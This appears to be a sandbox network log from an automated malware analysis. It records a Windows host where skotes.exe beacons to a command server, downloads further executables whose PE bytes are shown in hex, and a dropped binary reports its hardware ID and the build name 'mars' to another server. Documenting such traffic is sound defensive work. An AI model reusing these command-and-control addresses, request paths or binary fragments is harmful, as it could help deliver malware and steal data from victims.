6	192.168.2.8	49721	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:26.772128105 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 31 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008516001&unit=246122658369
Nov 23, 2024 21:15:28.170206070 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:15:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49728	185.215.113.16	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:28.299458027 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 21:15:29.757621050 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:15:29 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Sat, 23 Nov 2024 19:39:45 GMT Connection: keep-alive ETag: "67422f81-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 79 2f 42 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELy/Bg"dw@p@@@d\|@Lu4@.text `.rdata@@.datalpH@.rsrcL@@@.relocuv@B
Nov 23, 2024 21:15:29.757654905 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Nov 23, 2024 21:15:29.758481026 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Nov 23, 2024 21:15:29.758532047 CET	1236	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
Nov 23, 2024 21:15:29.758546114 CET	248	IN	Data Raw: 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Nov 23, 2024 21:15:29.758954048 CET	1236	IN	Data Raw: 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c 89 51 08 88 51 10 89 51 Data Ascii: uWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSG
Nov 23, 2024 21:15:29.758985043 CET	1236	IN	Data Raw: 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d Data Ascii: At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4
Nov 23, 2024 21:15:29.758999109 CET	248	IN	Data Raw: 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff ff ff 89 45 bc e9 a6 fe ff ff 83 e8 21 0f 85 23 01 00 00 8b 41 04 6a 7f Data Ascii: ;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE
Nov 23, 2024 21:15:29.759766102 CET	1236	IN	Data Raw: 00 3b fb 0f 84 31 fd ff ff e9 85 04 04 00 ff 75 e8 ff 75 f4 ff 75 e4 ff 75 e0 53 52 ff 75 f0 33 db 53 e8 86 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 Data Ascii: ;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIE
Nov 23, 2024 21:15:29.759907007 CET	1236	IN	Data Raw: 00 88 5c 24 19 88 5c 24 1a ff 15 28 c3 49 00 8d 44 24 13 50 ff 75 08 e8 c2 03 00 00 ff 15 18 c2 49 00 85 c0 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 Data Ascii: \$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M
Nov 23, 2024 21:15:29.884547949 CET	1236	IN	Data Raw: 4d e0 e8 6c a0 00 00 8b 75 ac 8d 4d f0 e8 22 7a 00 00 8d 45 f0 50 8d 4d 90 e8 39 01 00 00 8b 7d f0 57 68 58 ca 49 00 e8 cf 1a 02 00 59 59 85 c0 0f 84 8b fd 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 Data Ascii: MluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49744	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:34.068953037 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008517001&unit=246122658369
Nov 23, 2024 21:15:35.536154985 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:15:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Nov 23, 2024 21:15:36.034625053 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:15:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49750	185.215.113.16	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:36.038866043 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 21:15:38.295303106 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:15:38 GMT Content-Type: application/octet-stream Content-Length: 2817536 Last-Modified: Sat, 23 Nov 2024 19:40:12 GMT Connection: keep-alive ETag: "67422f9c-2afe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 db 7d 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +}+`Ui` @ @.rsrc`2@.idata 8@rqyixswb*:@aovkkqgk @+@.taggant@`+"*@
Nov 23, 2024 21:15:38.295406103 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:38.295866013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:38.295913935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:38.295928955 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:38.296180010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:38.296278000 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:38.296293974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:38.296310902 CET	24	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:38.296794891 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:38.461819887 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49771	185.215.113.16	80	3576	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:41.769047022 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 23, 2024 21:15:43.209062099 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:15:42 GMT Content-Type: application/octet-stream Content-Length: 2817536 Last-Modified: Sat, 23 Nov 2024 19:40:14 GMT Connection: keep-alive ETag: "67422f9e-2afe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 db 7d 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +}+`Ui` @ @.rsrc`2@.idata 8@rqyixswb*:@aovkkqgk @+@.taggant@`+"*@
Nov 23, 2024 21:15:43.209171057 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:43.209183931 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:43.209193945 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:43.209232092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:43.209248066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:43.209258080 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:43.209336996 CET	1236	IN	Data Raw: 68 b9 e4 02 b0 1a e5 cf 08 0d e7 47 39 47 40 35 95 5e 5e 25 aa f0 4b e5 e4 d7 29 c4 42 50 b9 df d0 45 93 ae 4e 32 7e 65 61 8a 21 3f 5e fc d5 c2 05 d4 05 35 c6 c3 e8 f9 0b f2 e6 fb 1b cc ac d0 19 bb f5 05 b0 ce f1 1d d4 e7 04 ff 25 dd e6 52 f6 a2 Data Ascii: hG9G@5^^%K)BPEN2~ea!?^5%R.xr.$@0.%jze2b-_O33)u,9 P{;5zo%\$nBqt3l%WF^
Nov 23, 2024 21:15:43.209350109 CET	1236	IN	Data Raw: 84 c6 0f 1f 7c c6 03 23 95 ad 84 3c 33 e5 09 b4 ca ed f5 3b b8 f0 2b 24 fa 4e 23 0f 1c 05 f3 02 ca ed 33 25 68 25 37 00 6d b0 71 87 1c c6 4f 05 ca 19 0f 77 b8 01 5f 31 ae 5a 55 7b f4 e5 6b dc a5 e2 93 58 33 39 f8 8d 1c 45 1b 02 8a d2 73 57 82 7d Data Ascii: \|#<3;+$N#3%h%7mqOw_1ZU{kX39EsW}`Bqcuaiiq'~?':1o^N"S%T33~95A>B~[s)`*:t#2z>49aXEiV3cB8&"
Nov 23, 2024 21:15:43.209362030 CET	1236	IN	Data Raw: dd db f4 0c a6 fd 0f d0 d8 2e bf 02 01 a1 ff be 0f b0 0d 77 cc d6 23 ec 30 1f 3e 64 af 9d 51 e1 d6 ee 39 72 0e 3a 2d ce 9a 1c d0 d1 15 d3 30 9c da c5 53 15 3c 20 7c 63 1a b5 69 63 ab 10 5f 58 82 d6 5b 34 18 1c 43 0a 0d 8b 90 03 b4 76 14 53 49 af Data Ascii: .w#0>dQ9r:-0S< \|cic_X[4CvSI$Gtq'7Pn m0fhqt?9/x&0o3JskA,)&XeC%Hl<N/! 9UMixo&G
Nov 23, 2024 21:15:43.341519117 CET	1236	IN	Data Raw: 34 0e c4 e8 e2 d1 ee db e9 5d e0 ce 56 b1 2d 22 3e d6 f9 42 3e d1 4f d7 3a eb db 6c 3d ce da 33 3e c1 41 09 cb d2 9d 91 b9 9a eb 7d df 80 09 b4 f5 87 54 0e dd 23 07 c7 f5 b3 fd 1e d4 12 5b 09 24 24 45 00 ae 10 4c f4 4a e6 fa 92 7a 2c 5e 40 aa 9d Data Ascii: 4]V-">B>O:l=3>A}T#[$$ELJz,^@A$r;J:6n'/5160(=\|(YW5`2a0245~h80aI.L"?Evg[`RQx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49775	34.107.221.82	80	6992	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:42.530302048 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:15:43.664412022 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 23:05:23 GMT Age: 76220 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49778	185.215.113.206	80	7456	C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:43.418814898 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 21:15:44.576477051 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 21:15:44.583332062 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 35 43 44 44 42 31 37 39 39 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="hwid"B5CDDB1799AC3343412148------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="build"mars------HCFCAAEBGCAKKFIDBKJJ--
Nov 23, 2024 21:15:45.086304903 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49790	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:45.937428951 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 31 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008518001&unit=246122658369
Nov 23, 2024 21:15:47.282810926 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:15:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49798	34.107.221.82	80	6992	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
